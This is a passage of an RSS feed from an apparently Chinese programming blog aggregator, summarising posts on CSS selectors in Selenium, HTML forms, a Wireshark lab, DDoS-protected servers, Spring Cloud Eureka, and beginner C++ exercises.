      <description>css selector 的高级用法 CSS（Casading Style Sheets）层叠样式表。一种用来表现HTML或者XML等文件样式的语言。css选择器是浏览器用来选择元素，selenium 也要选择元素，可以使用css选择器来选择Web元素。&#xA;定位元素的注意事项：&#xA;1、找到等待定位的元素的唯一属性&#xA;2、如果该元素没有唯一属性，则先找到能够给被唯一定位的父元素/子元素/相邻元素，再使用 “&amp;gt;” 、“ ”、“+” 等辅助定位要定位的元素。&#xA;3、不要使用随机唯一属性，属性是会发生改变。 ID = “Dev45” Dev46&#xA;1、ID选择器 通过 # 来定义，通过元素的ID属性来定位。 格式： #id属性值 id选择器来定位元素 格式： #id属性值 通过 # 来定义的&#xA;print (driver.find_element_by_css_selector(&#34;#pLabel&#34;).get_attribute(&#34;id&#34;)) 2、class选择器（类选择器） 使用 . （点）来定义 格式： .class属性的值 class 选择器 使用 . （点）来定义 格式： .class属性的值&#xA;driver.find_element_by_css_selector(&#34;.RedChamber&#34;).send_keys(&#34;class 选择器 使用 . （点）来定义 格式： .class属性的值&#34;) 如果class属性值有空格，则可以使用如下方法来定位：&#xA;方法一：&#xA;可以使用 点 替换掉所有的空格（例如： .Dream.of.the.Red.Chamber）&#xA;方法二：&#xA;可以截取一部分值，然后在截取的部分值之前加上 . （点） （例如： .Dream） class属性值有空格&#xA;driver.find_element_by_css_selector(&#34;.Dream.of.the.Red.Chamber&#34;).send_keys(&#34;class属性值有空格&#34;) driver.find_element_by_css_selector(&#34;.Dream&#34;).send_keys(&#34;截取部分值在前面加上点来定位&#34;) 3、标签选择器 通过 标签的标签名 来定位元素 标签选择器 通过标签的标签名来定位元素</description>
    </item>
    <item>
      <title>select2搜索框被弹出层遮挡问题</title>
      <link>https://bchobby.github.io/posts/d7e319de78fd00df2810b13f25441d67/</link>
      <pubDate>Thu, 09 Dec 2021 18:27:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7e319de78fd00df2810b13f25441d67/</guid>
      <description>先放解决方法：&#xA;.select2-container--open .select2-dropdown{left:0;z-index:999999999;}&#xA;只需添加一个样式即可&#xA;原理大概就是跟图层有关，具体请自行去select2和弹出层插件官网了解。&#xA;我用的是layer.open和dialog弹窗插件，均能解决。&#xA;并不保证能解决你们的问题，仅供参考，不喜勿喷。&#xA;转自：Layer弹窗和 jquery select2 兼容问题【附源码】_wx5bffdbaf11b62_51CTO博客</description>
    </item>
    <item>
      <title>从头学前端-36：HTML原生表单</title>
      <link>https://bchobby.github.io/posts/630b3342155e0b1fb9ca86a15b43e27a/</link>
      <pubDate>Thu, 09 Dec 2021 14:18:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/630b3342155e0b1fb9ca86a15b43e27a/</guid>
      <description>大家好，我是一碗周，一个不想被喝(内卷)的前端。如果写的文章有幸可以得到你的青睐，万分有幸~&#xA;这是【从头学前端】系列文章的第三十六篇-《表单》&#xA;写在前面 本篇文章将来介绍HTML中原生表单的内容。&#xA;HTML表单主要作用你是用于收集不同类型的用户输入并与服务端进行交互。&#xA;HTML表单是由一个或多个小部件组成的。这些小部件可以是文本字段(单行或多行)、选择框、按钮、复选框或单选按钮。大多数情况下，这些小部件与描述其目的的标签配对——正确实现的标签能够清楚地指示视力正常的用户和盲人用户输入表单输入的内容。&#xA;HTML表单和常规HTML文档的主要区别在于，大多数情况下，表单收集的数据被发送到web服务器。在这种情况下，您需要设置一个web服务器来接收和处理数据。&#xA;目前表单可以完成的工作包括但不限于下面这些，例如：&#xA;网站的用户注册和登录功能&#xA;搜索功能中的搜索框&#xA;写博客的发布功能&#xA;我们可以将表单划分为两个部分：&#xA;&amp;lt;form&amp;gt;元素：表单容器的元素&#xA;表单组件元素：真正用来接收用户输入的信息的元素，包括但不限于&amp;lt;input&amp;gt;、&amp;lt;textarea&amp;gt;等。&#xA;form元素 &amp;lt;form&amp;gt;元素定义HTML表单，HTML表单用于收集用户输入，与服务端进行通信。&#xA;该元素有几个常用的属性，具体如下：&#xA;action属性：设置提交表单的服务端地址&#xA;method属性：设置提交表单时的请求类型&#xA;- GET：默认方式，发送敏感信息时不可使用！GET最适合短，非敏感，一定量数据，因为它有大小限制太。&#xA;- POST：如果表单数据包含敏感或个人信息，则总是使用POST。POST方法在页地址字段中不显示提交的表单数据；POST没有大小限制，可以用来发送大量的数据。&#xA;enctype属性：设置表单提交时的MIME类型.(主要可实现文件上传) input元素 &amp;lt;input&amp;gt;是一个空元素，最重要的表单元素。该元素的功能比较强大，常用属性有如下几个：&#xA;属性描述type设置输入框的类型value设置输入框的默认值disabled设置输入框是否可用(仅设置属性名)readonly设置输入框是否为只读autofocus设置输入框自动获取焦点placeholder设置输入框的默认提示信息(代替value向用户展示信息) type属性可用的值如下，每一个值都代表了一个类型的组件：&#xA;值描述值描述text单行文本框password密码框radio单选框checkbox复选框button按钮reset重置按钮submit提交按钮file文件域hidden隐藏域email电子邮件urlURL地址search搜索框date日期控件week星期控件month月控件color颜色控件number数字控件 如下代码展示了部分组件的使用，代码如下：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;input元素&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;form method=&#34;GET&#34; action=&#34;#&#34;&amp;gt; &amp;lt;!-- disabled 属性，设置为禁用的 readonly 属性，设置为只读 autofocus 属性，自动获取焦点 placeholder 属性，设置提示信息 --&amp;gt; &amp;lt;input type=&#34;text&#34; value=&#34;我是一段文本&#34;&amp;gt; &amp;lt;br&amp;gt; &amp;lt;!-- 单选框或者复选框要为其定义相同的name属性，表示为一组 checked 属性：表示当前选框默认被选中 --&amp;gt; &amp;lt;input type=&#34;</description>
    </item>
    <item>
      <title>身份证校验工具类</title>
      <link>https://bchobby.github.io/posts/05558cea01850d4a2c5e53288a395a5e/</link>
      <pubDate>Wed, 08 Dec 2021 20:57:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05558cea01850d4a2c5e53288a395a5e/</guid>
      <description>直接上工具类方法了，方法是参考网上其它同学所写，在此只是作为一个记录&#xA;import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.GregorianCalendar; import java.util.Hashtable; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * 身份证校验类型 */ public class IdCardNoUtils { // 新身份证长度18 private static final int IDCARDNO_LENGTH_NEW = 18; // 老身份证长度15 private static final int IDCARDNO_LENGTH_OLD = 15; private static final int IDCARDNO_SUB_LENGTH = 17; private static final int MAX_YEAR = 100; private static final int MAX_MONTH = 12; private static final int MAX_DAY = 31; private static final String CHAR = &#34;</description>
    </item>
    <item>
      <title>计算机网络实验2：Wireshark 实验</title>
      <link>https://bchobby.github.io/posts/f4c06510df3360896246f926f6dbf33d/</link>
      <pubDate>Wed, 08 Dec 2021 11:08:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4c06510df3360896246f926f6dbf33d/</guid>
      <description>Wireshark实验&#xA;一.数据链路层 准备 请自行查找或使用参考资料，了解 Wireshark 的基本使用：&#xA;1.选择对哪块网卡进行数据包捕获&#xA;2.开始/停止捕获&#xA;3.了解 Wireshark 主要窗口区域&#xA;4.设置数据包的过滤&#xA;5.跟踪数据流&#xA;实作一 熟悉 Ethernet 帧结构 选择WLAN&#xA;打开cmd进行抓包&#xA;根据ip进行搜索&#xA;与www.baidu.com的数据交换:&#xA;使用 Wireshark 任意进行抓包，熟悉 Ethernet 帧的结构，如：目的 MAC、源 MAC、类型、字段等:&#xA;问题&#xA;你会发现 Wireshark 展现给我们的帧中没有校验字段，请了解一下原因。&#xA;Wireshark 抓包前，物理层网卡已经进行过校验，正确时才会进行下一步操作，当我们使用Wireshark进行抓包，抓到的为校验后的包，所以我么看到的帧中是没有校验字段。&#xA;实作二 了解子网内/外通信时的 MAC 地址 1.ping 你旁边的计算机（同一子网），同时用 Wireshark 抓这些包（可使用 icmp 关键字进行过滤以利于分析），记录一下发出帧的目的 MAC 地址以及返回帧的源 MAC 地址是多少？这个 MAC 地址是谁的？&#xA;略。&#xA;2.然后 ping qige.io （或者本子网外的主机都可以），同时用 Wireshark 抓这些包（可 icmp 过滤），记录一下发出帧的目的 MAC 地址以及返回帧的源 MAC 地址是多少？这个 MAC 地址是谁的？&#xA;发出帧的目的 MAC 地址以及返回帧的源 MAC 地址是c2:68:e6:04:6d:53，这个MAC地址是本机的网关MAC地址</description>
    </item>
    <item>
      <title>如何正确选择高防服务器</title>
      <link>https://bchobby.github.io/posts/5f0afca7bb042e936328d9db7f975e49/</link>
      <pubDate>Wed, 08 Dec 2021 10:47:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f0afca7bb042e936328d9db7f975e49/</guid>
      <description>租用高防服务器，可以通过防火墙，数据监测、牵引系统等对流量性攻击进行有效削弱，从而起到防御作用。&#xA;高防服务器主要是针对DDos、CC流量攻击而出现的。由于当前互联网中存在很多黑客攻击，最为普遍就是DDos攻击，对目标网络或者服务器进行资源占取，导致服务器出现拒绝式服务。租用高防服务器，可以通过防火墙，数据监测、牵引系统等对流量性攻击进行有效削弱，从而起到防御作用。那么，高防服务器如此有用，又应当如何挑选呢? 下面壹基比小喻就来给你们一一讲解。&#xA;首先，要了解高防服务器是如何进行防护的。&#xA;目前，常见的网站攻击类型主要为流量攻击，就是我们常说的DDOS攻击，最基本的DDoS攻击就是利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务的响应。CC攻击，也是流量攻击的一种，CC就是模拟多个用户不停地进行访问那些需要大量数据操作的页面，造成服务器资源的浪费，CPU长时间处于100%，永远有处理不完的连接直至网络拥塞、正常访问被迫中止。&#xA;流量攻击是对资源上的占取，如果资源充足时，那么这类攻击就不会对网络有着很大的影响，如果服务器的带宽不充足，那么受到攻击后的影响会很明显，这就要求高防服务器要有足够充足的带宽。另外，在租用高防服务器后，服务商会对流量攻击的防御有一个硬防范围，在这个范围下，高防服务器的牵引系统会对进入服务器的流量有一个识别功能，即使受到网络攻击时，在保护范围内的用户的网络都不会有什么影响，如果攻击流量超过保护的范围时，就会对IP进行暂时性的牵引。有需要求联系TG:TW_001&#xA;因此，我们就可以清楚选购高防服务器主要的点：带宽和”范围”大小。</description>
    </item>
    <item>
      <title>ARS大陆毫米波雷达ROS开发包解析及二次开发（二）</title>
      <link>https://bchobby.github.io/posts/185b0278d560143c54c08d71b3d22565/</link>
      <pubDate>Tue, 07 Dec 2021 18:55:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/185b0278d560143c54c08d71b3d22565/</guid>
      <description>文章目录 预备知识与前期工作ARS_40X源码架构雷达数据格式及流向数据流向图雷达数据格式socket_can通信格式（以雷达配置帧通信为例）关键数据介绍及格式说明cluster数据帧can_messages 关键参数：topic与服务SubscriptionServices 关键类与继承关系二次开发流程展示:TODO下一步工作 预备知识与前期工作 前期工作链接雷达手册链接中文注释版本源码（未添加完成滤波器，暂时不能跑，仅提供注释参考） 最近阅读了前段时间刚部署到电脑上的源码，作者的源码是基于c++的，最近穿插着复习c++并完成了雷达的源码阅读，对源码关键部分进行了注释，增加了可读性。另外此架构上进行修改，完成了雷达滤波的初步开发，下一步部署到电脑进行效果验证。&#xA;首先，雷达检测有两种方式，一种是cluster模式，即点云模式，将所有的扫描到的点云经过内部滤波后，不加处理的发布出来，具体效果可见我前一篇博客。这种状态下生成的地图可以看作点云图，优点是点云信息密集，利于二次开发。缺点也很明显：噪声大，一个物体上存在多个雷达点，分辨起来较为困难。&#xA;另一种模式就是object模式，其中将点云进一步处理，以RCS等参数判断物体的类别并输出。这种模式的优点是：可视化程度高，易于分辨，同时噪声点少。缺点是：难以进行二次开发，对的点云特征的利用度较低。&#xA;ARS_40X源码架构 源码架构 如图所示，源码主要分为三个功能部分：&#xA;与雷达接口socket_can的通信与数据处理、发布等任务；在第一个的基础上，实现与rviz“通信”的可视化任务；同样在第一个人物的基础上，实现object mode下的目标姿态发布任务； 图中源码文件结构如图所示，基本上由hpp文件定义通信的数据基本格式和所有类的初始化，然后再src文件中对所有类进行初始化，其中./src/ros文件下的ros文件初始化各类上层接口类，其功能包含利用service服务将更改的参数传递给socket_can接口，可视化点云等上层服务。&#xA;雷达数据格式及流向 数据流向图 源码数据流向图 如上图所示，soket_can负责与毫米波雷达的通信，包括对数据的封装以及读取等功能，供ars_40x_can.cpp使用，包括建立的通信类来实现与socket_can的通信、并负责更新所有数据，，实现的功能有：receive_data(), write_data()，端口设置，获取雷达状态等，这个是底层接口中最重要的文件。&#xA;实现了数据的更新后，上层的ros接口要继承底层接口，建立ROS功能包间的通信，以进一步实现可视化与用户的实时更改。综上，实现了数据从底层获取到上层的接口开发，具体细节请读者自行看源码。&#xA;雷达数据格式 数据的通信包含：源码与socket_can包的通信、源码内部之间的数据通信。通信之间的数据格式对于理清楚源码的架构及运行机制有着重要作用。在大陆雷达开发手册中有着清楚的说明，建议读者首先读一下开发手册。&#xA;socket_can通信格式（以雷达配置帧通信为例） 源码与socket_can通信是符合大陆雷达的标准格式的。&#xA;数据发送包括：数据头(fram_id） + 数据（n byte）&#xA;其中：数据头说明我要发送什么数据：例如配置数据中对于最大距离的配置、滤波配置等。&#xA;数据请求：数据头(fram_id） + 数据（n byte），与数据发送同理，不过功能是对于雷达状态的请求、雷达点云数据的请求等。&#xA;这是雷达配置信息的设置帧参数：可以看到，其中对于雷达的配置帧，包含了8 * 8位的数据，每一位都有特殊的用途，例如要设置雷达最大距离，就要设置其中的max_distance块，并包装进一个8byte的数据中，发送出去，当然，这些底层的移位操作作者通过union体帮我们解决了，我们只需要按照作者给定的格式进行编码，如下图所示。&#xA;如上图，这是雷达的配置数据格式，这些变量按照名字都是雷达配置帧中的关键变量。雷达的配置帧数据格式是按照：第一位，第二位…每一位分别配置的，通过union体与&#34;:&#34;符号(每个变量后面都是一个整数，这是设置的union位域)是每个变量对应其在8byte中特定的位置，免去了需要单独移位的操作。&#xA;raw_data就是8byte的数据，raw_data用来保存所有的数据，同时还能够按照位域整体接收来自socket_can的雷达8byte数据，这样在查看某个参数时也不需要移位操作就能取到对应的雷达配置参数，非常方便。&#xA;通过以上，可以了解到源码内部对于雷达配置等参数的封装格式以及和底层雷达通信的数据格式，下面介绍其他比较关键的数据格式。&#xA;关键数据介绍及格式说明 同样重要的还有：雷达状态帧、目标模式下的目标帧、cluster模式下的数据帧、can_messages&#xA;重点介绍：cluster下的数据帧，can_messages&#xA;cluster数据帧 cluster数据帧主要是包括三个部分：&#xA;cluster_0_status：包含一帧内的点云数量等基本点云信息；cluster_1_general：点云的速度和方向等信息；cluster_2_quality：点云的质量信息：例如点的真实存在概率等；&#xA;cluster的数据格式定义 can_messages 这个信息头的作用在于发送的时候作为fram_id，说明自己要发送或者要取什么数据，例如要ars_40x_can.cpp中的receive_data()中，要发送数据前必须要加上frame_id = RadarCfg。&#xA;ars_40x_can.cpp中关于发送配置请求的部分 前面的can_messsages作为frame_id就是这个作用，通过socket_can提供的can_.write来确定写入的信息类别，类的get方法返回的raw_data传入雷达中修改配置信息等雷达运行参数。&#xA;关键参数：topic与服务 通过查看topic，可以实时获取雷达的当前状态与目标点的信息等，ROS的topic机制实现了ROS系统内的信息共享，免去了复杂的进程间通信，利用其在系统内发布的信息进行订阅，继而可以方便的进行二次开发。&#xA;MessageTypeDescriptionMessage Box/radar_statusars_40X/RadarStatusDescribe the radar configuration0x201/ars_40X/clustersars_40X/ClusterListRaw clusters data from radar0x600, 0x701/ars_40X/objectsars_40X/ObjectListRaw objects data from radar0x60A, 0x60B, 0x60C, 0x60D/visualize_clustersvisualization_msgs/MarkerArrayClusters markers for RViz visualization-/visualize_objectsvisualization_msgs/MarkerArrayObject markers for RViz visualization- 这是作者源码中定义的基本topic。</description>
    </item>
    <item>
      <title>C&#43;&#43;函数：多项式求值</title>
      <link>https://bchobby.github.io/posts/af361e795ff0bdbe6b69f83c7f030b8b/</link>
      <pubDate>Tue, 07 Dec 2021 18:37:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af361e795ff0bdbe6b69f83c7f030b8b/</guid>
      <description>【题目描述】&#xA;给定一个多项式，以及变量的值，求多项式的值。&#xA;【输入格式】&#xA;输入为三行数据，第一行是多项式的项数n，第二行有n个数，是多项式从高到低的系数，第三行是变量x的值。&#xA;【输出格式】&#xA;一行一个数表示多项式的值&#xA;【输入样例】&#xA;3&#xA;1 2 1&#xA;2&#xA;【输出样例】&#xA;9&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;vector&amp;gt; using namespace std; int main() { int n, *p;//项数 cin&amp;gt;&amp;gt;n; p = new int[n];&#x9;for(int i = 0; i &amp;lt; n; i++) { cin &amp;gt;&amp;gt;p[i];//系数 } int x;//变量 cin&amp;gt;&amp;gt;x; int value = p[0];//多项式的值 for(int i = 0; i &amp;lt; n - 1; i++) { value = value * x + p[i+1]; } cout&amp;lt;&amp;lt;value; return 0; } 解题思路：因式分解再求值！</description>
    </item>
    <item>
      <title>SpringCloud-Eureka的微服务信息参数和Discovery以及Eureka的自我保护(Day3)</title>
      <link>https://bchobby.github.io/posts/05249fde870f720fa6dfe110c4ce57cc/</link>
      <pubDate>Tue, 07 Dec 2021 18:00:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05249fde870f720fa6dfe110c4ce57cc/</guid>
      <description>Eureka的微服务信息参数，注意新版的已经显示默认是(IP:服务名:端口) cloud-provider-payment8001 eureka: ... instance: instance-id: payment8001 # 微服务名称 cloud-provider-payment8002 eureka: ... instance: instance-id: payment8002 # 微服务名称 效果 服务发现Discovery 修改消费模块的控制层代码如下 package com.gcl.springcloud.controller; import com.gcl.springcloud.entities.CommonResult; import com.gcl.springcloud.entities.Payment; import lombok.extern.slf4j.Slf4j; import org.springframework.cloud.client.ServiceInstance; import org.springframework.cloud.client.discovery.DiscoveryClient; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.client.RestTemplate; import javax.annotation.Resource; import java.util.List; @RestController @Slf4j public class OrderController { private static final String PAYMENT_URL = &#34;http://cloud-payment-service&#34;; @Resource private RestTemplate restTemplate; @Resource private DiscoveryClient discoveryClient; @GetMapping(value = &#34;/consumer/payment/create&#34;) public CommonResult&amp;lt;Payment&amp;gt; create(Payment payment){ return restTemplate.</description>
    </item>
    <item>
      <title>C&#43;&#43;数组：猴子选大王</title>
      <link>https://bchobby.github.io/posts/049dafeb34673672931064a4dfb347b5/</link>
      <pubDate>Tue, 07 Dec 2021 17:59:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/049dafeb34673672931064a4dfb347b5/</guid>
      <description>【题目描述】&#xA;有M（1 000以内）个猴子围成一圈，每个猴子有一个编号，编号从1到M，打算从中选出一个大王。经过协商。 决定选大王的规则如下：从第1个猴子开始，每隔N（任意正整数）个，数到的猴子出圈，最后剩下来的就是大王。要求从键盘输入M、N（均为正整数），试编程计算编号为多少的猴子将成为大王。&#xA;要求：&#xA;1、 变量m表示猴子的个数；变量n表示出圈基数。&#xA;2、数数规则：每次从1数到n，当前为n的猴子出圈，若有3个猴子，n为2，猴子编号：1,2,3，出圈猴子的序号：2，1，猴子大王的序号为3。&#xA;【输入格式】&#xA;一行两个数 m 和 n&#xA;【输出格式】&#xA;一行输出猴子大王的编号&#xA;【输入输出样例】&#xA;屏幕输出 input m:&#xA;用户输入 3&#xA;屏幕输出 input n:&#xA;用户输入 2&#xA;屏幕输出 king:&#xA;屏幕输出 3&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; int main() { //从第1个猴子开始，每隔N（任意正整数）个，数到的猴子出圈，最后剩下来的就是大王 bool a[101] = { 0 };//猴子状态，0-在，1-出圈 int n, m, f = 0, t = 0, s = 0; cout &amp;lt;&amp;lt; &#34;input m: &#34;;//猴子个数 cin &amp;gt;&amp;gt; m; cout &amp;lt;&amp;lt; &#34;input n: &#34;;//出圈基数 cin &amp;gt;&amp;gt; n; do { ++t;//逐个枚举圈中的所有位置 if (t &amp;gt; m) t = 1;//数组模拟环状，最后一个与第一个相连 if (!</description>
    </item>
    <item>
      <title>vue-color-picker-sheldon使用说明（一款基于Vue的取色器/颜色选择器）</title>
      <link>https://bchobby.github.io/posts/bc71cdec2ab5ee5789f003404ae0b488/</link>
      <pubDate>Tue, 07 Dec 2021 16:56:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc71cdec2ab5ee5789f003404ae0b488/</guid>
      <description>vue-color-picker-sheldon使用说明（一款基于Vue的取色器/颜色选择器） Introduction 简介Functions 功能点Install 安装Usage 用法CSDN 地址 Introduction 简介 This is a color picker component based on vue. It is powerful and supports drag and drop, color picking and other functions.&#xA;这是一个基于 vue 的取色器组件，功能强大，支持拖拽、取色等功能。&#xA;Functions 功能点 Show a gradient palette with all colors and adjustable transparency 展示一个有所有颜色并且可以调节透明度的渐变调色板&#xA;Click on the palette to get the selected color, and display the corresponding hex value or rgba value in real time 点击调色板获取选中的颜色，并且实时显示对应 hex 值或者 rgba 值</description>
    </item>
    <item>
      <title>SpringCloud-多个支付模块的Eureka集群(Day3)</title>
      <link>https://bchobby.github.io/posts/cd492b42569e8d3caf113a05e2f10651/</link>
      <pubDate>Tue, 07 Dec 2021 16:48:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd492b42569e8d3caf113a05e2f10651/</guid>
      <description>说明 我们上一篇已经演示了在Eureka集群下单个服务提供微服务的案例，我们这篇就演示多个服务提供的案例。我们复制cloud-provider-payment8001，并命名新的项目为cloud-provider-payment8002。&#xA;在父Pom中添加对应的module &amp;lt;modules&amp;gt; &amp;lt;module&amp;gt;cloud-provider-payment8001&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;cloud-provider-payment8002&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;cloud-consumer-order8080&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;cloud-api-commons&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;cloud-eureka-server7001&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;cloud-eureka-server7002&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;cloud-eureka-server7003&amp;lt;/module&amp;gt; &amp;lt;/modules&amp;gt; 更改复制来的pom的artifactId &amp;lt;artifactId&amp;gt;cloud-provider-payment8002&amp;lt;/artifactId&amp;gt; 更改复制来的yml server: port: 8002 eureka: client: #表示是否将自己注册进Eurekaserver默认为true。 register-with-eureka: true #是否从EurekaServer抓取已有的注册信息，默认为true。单节点无所谓，集群必须设置为true才能配合ribbon使用负载均衡 fetchRegistry: true service-url: defaultZone: http://127.0.0.1:7001/eureka,http://localhost:7002/eureka,http://192.168.0.135:7003/eureka spring: application: name: cloud-payment-service datasource: type: com.alibaba.druid.pool.DruidDataSource driver-class-name: org.gjt.mm.mysql.Driver url: jdbc:mysql://localhost:3306/my?useUnicode=true&amp;amp;characterEncoding=utf-8&amp;amp;useSSL=false username: root password: 123456 mybatis: mapper-locations: classpath:mapper/*.xml type-aliases-package: com.gcl.springcloud.entities 更改复制来的启动类 package com.gcl.springcloud; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cloud.netflix.eureka.EnableEurekaClient; @EnableEurekaClient @SpringBootApplication public class PaymentMain8002 { public static void main(String[] args) { SpringApplication.</description>
    </item>
    <item>
      <title>C&#43;&#43;数组：发工资</title>
      <link>https://bchobby.github.io/posts/74dda69ac2d2441e66b88e1763f1bfbc/</link>
      <pubDate>Tue, 07 Dec 2021 16:40:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74dda69ac2d2441e66b88e1763f1bfbc/</guid>
      <description>【题目描述】&#xA;财务处要给公司的n位员工发工资了，请你帮助计算最少要多少张人民币才能给每位员工发工资而不必找零呢？已知人民币的面额为100元，50元，10元，5元，2元和1元这6种。&#xA;【输入格式】&#xA;第一个值为正整数n，后面接着n个正整数表示n位员工的工资&#xA;【输出格式】&#xA;一行一个整数输出一共要准备的人民币张数。&#xA;【输入样例】&#xA;3 1 2 3&#xA;【输出样例】&#xA;4&#xA;先叨叨两句：作为一个小菜鸡，也是第一次开始创作，后续会一直记录平时的练习和作业。实际上自己写代码的时候，没有那么多注释，准备发上来，所以添了很多注释。因为如果它能有幸帮助到初学者，希望你们都能看懂，看懂了再复制粘贴（我大一就查找到资源直接交作业，然后美美挂科~~）。当然如果能被大佬发现这些文章，希望得到批评指正（希望学会更好的算法）！谢谢看完这段废话的兄弟姐妹萌~&#xA;代码如下：&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; int main() { int n, *p, count=0;// count记录所需人民币张数 int a[6] = {100,50,10,5,2,1};//面额 cin&amp;gt;&amp;gt;n;&#x9;//员工数 p = new int[n]; //利用指针建立动态数组 for(int i=0;i&amp;lt;n;i++) { cin&amp;gt;&amp;gt;p[i]; } int t = n;//t:保存待计算员工人数 while(t != 0) {&#x9;//每计算完成一位员工所需数量，t--，直到全体员工计算完成后跳出循环 for(int i = 0; i &amp;lt; n; i++) //从第0位员工算到第n-1个 { for(int j = 0; j &amp;lt; 6; j++)//需要最小数量，即需从最大面额开始计算 { if(p[i] &amp;gt;= a[j]) //员工工资大于当前面额 { //k：记录当前面值的钱需要多少张 int k = p[i] / a[j]; count += k; p[i] -= k * a[j]; //为下一面额作准备 } } } t--; } cout&amp;lt;&amp;lt;count&amp;lt;&amp;lt;endl; return 0; } 解题思路：</description>
    </item>
    <item>
      <title>C&#43;&#43; 数组：判断集合是否相等</title>
      <link>https://bchobby.github.io/posts/56075342e0ffecd4ea4d958c213a9d7b/</link>
      <pubDate>Tue, 07 Dec 2021 13:27:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56075342e0ffecd4ea4d958c213a9d7b/</guid>
      <description>这道题其实是要求利用数组解决。不过考虑到用set（集合）解题更加简便，因此，下面做法是使用了容器set。&#xA;【题目描述】&#xA;给定两个集合A和B，判断他们是否相等。(集合元素可能需要去重) 。&#xA;如果两个集合相等，则输出&#34;yes&#34;，否则输出&#34;no&#34;&#xA;【输入格式】&#xA;两行分别表示集合 A 和 B ，每一行先输入一个数 n 表示集合的大小，接下来输入 n 个数表示集合的元素&#xA;【输出格式】&#xA;按要求输出 &#34;yes&#34; 或 &#34;no&#34; (不带引号)&#xA;【输入样例】&#xA;4 1 2 3 4&#xA;4 4 3 2 1&#xA;【输出样例】&#xA;yes&#xA;【样例解释】&#xA;第一个集合里不重复的元素为{1,2,3,4}，第二个集合也为{1,2,3,4}，故两个集合相等&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;set&amp;gt; //使用set需要引入头文件 using namespace std; int main() { set&amp;lt;int&amp;gt; a; //int类型的集合a,b set&amp;lt;int&amp;gt; b; int n1,n2;//集合大小 //输入要比较的集合 cin&amp;gt;&amp;gt;n1; for(int i = 0; i &amp;lt; n1; i++) { int k; cin&amp;gt;&amp;gt;k; a.insert(k);//向集合a中插入整数k } cin&amp;gt;&amp;gt;n2; for(int i = 0; i &amp;lt; n2; i++) { int k; cin&amp;gt;&amp;gt;k; b.</description>
    </item>
    <item>
      <title>C&#43;&#43;数组：找出连续四个数之和最大的一段</title>
      <link>https://bchobby.github.io/posts/cc91966016067c1cf96e125c37541728/</link>
      <pubDate>Tue, 07 Dec 2021 11:19:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc91966016067c1cf96e125c37541728/</guid>
      <description>【题目描述】&#xA;若干个数据首尾相连，构成一个圆环，找到连续的4个数之和最大的一段。&#xA;【输入格式】&#xA;一行若干个数，当输入−1时结束输入&#xA;【输出格式】&#xA;一行输出其中连续的4个数之和最大的一段的起始数据的位置及这4个数的和，若输入的数据少于4个数，输出显示“invalid input”。&#xA;【输入样例1】&#xA;1 23 -1&#xA;【输出样例1】&#xA;invalid input&#xA;【输入样例2】&#xA;7 6 2 3 9 1 8 -1&#xA;【输出样例2】&#xA;5 25&#xA;（注：从第5个数据开始的连续四个数据和最大,为25）&#xA;代码如下：&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; int main() { int n,a[20];//n记录输入数的个数，max记录最大累加值 for(n = 0;;n++) {&#x9;cin&amp;gt;&amp;gt;a[n]; if(a[n]==-1) break; } if(n &amp;lt; 4) cout&amp;lt;&amp;lt;&#34;invaild input&#34;&amp;lt;&amp;lt;endl;//判断个数 else {&#x9;int max = 0; int t1,t2;//记录累加值 int j;//记录数的序号 for(int i = 0;i&amp;lt;n;i++) { //KEY：实现一个圆环 t1 = a[i] + a[(i+1)%n] + a[(i+2)%n] + a[(i+3)%n]; if(t1 &amp;gt; max) //把最大值放入max中 { t2 = t1; t1 = max; max = t2; j = i;//记录最大值时，数的下标 } } cout&amp;lt;&amp;lt;j+1&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>LEFT JOIN 比 INNER JOIN执行更快</title>
      <link>https://bchobby.github.io/posts/9be6ed8d165fb321622766ff5f899490/</link>
      <pubDate>Tue, 07 Dec 2021 09:43:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9be6ed8d165fb321622766ff5f899490/</guid>
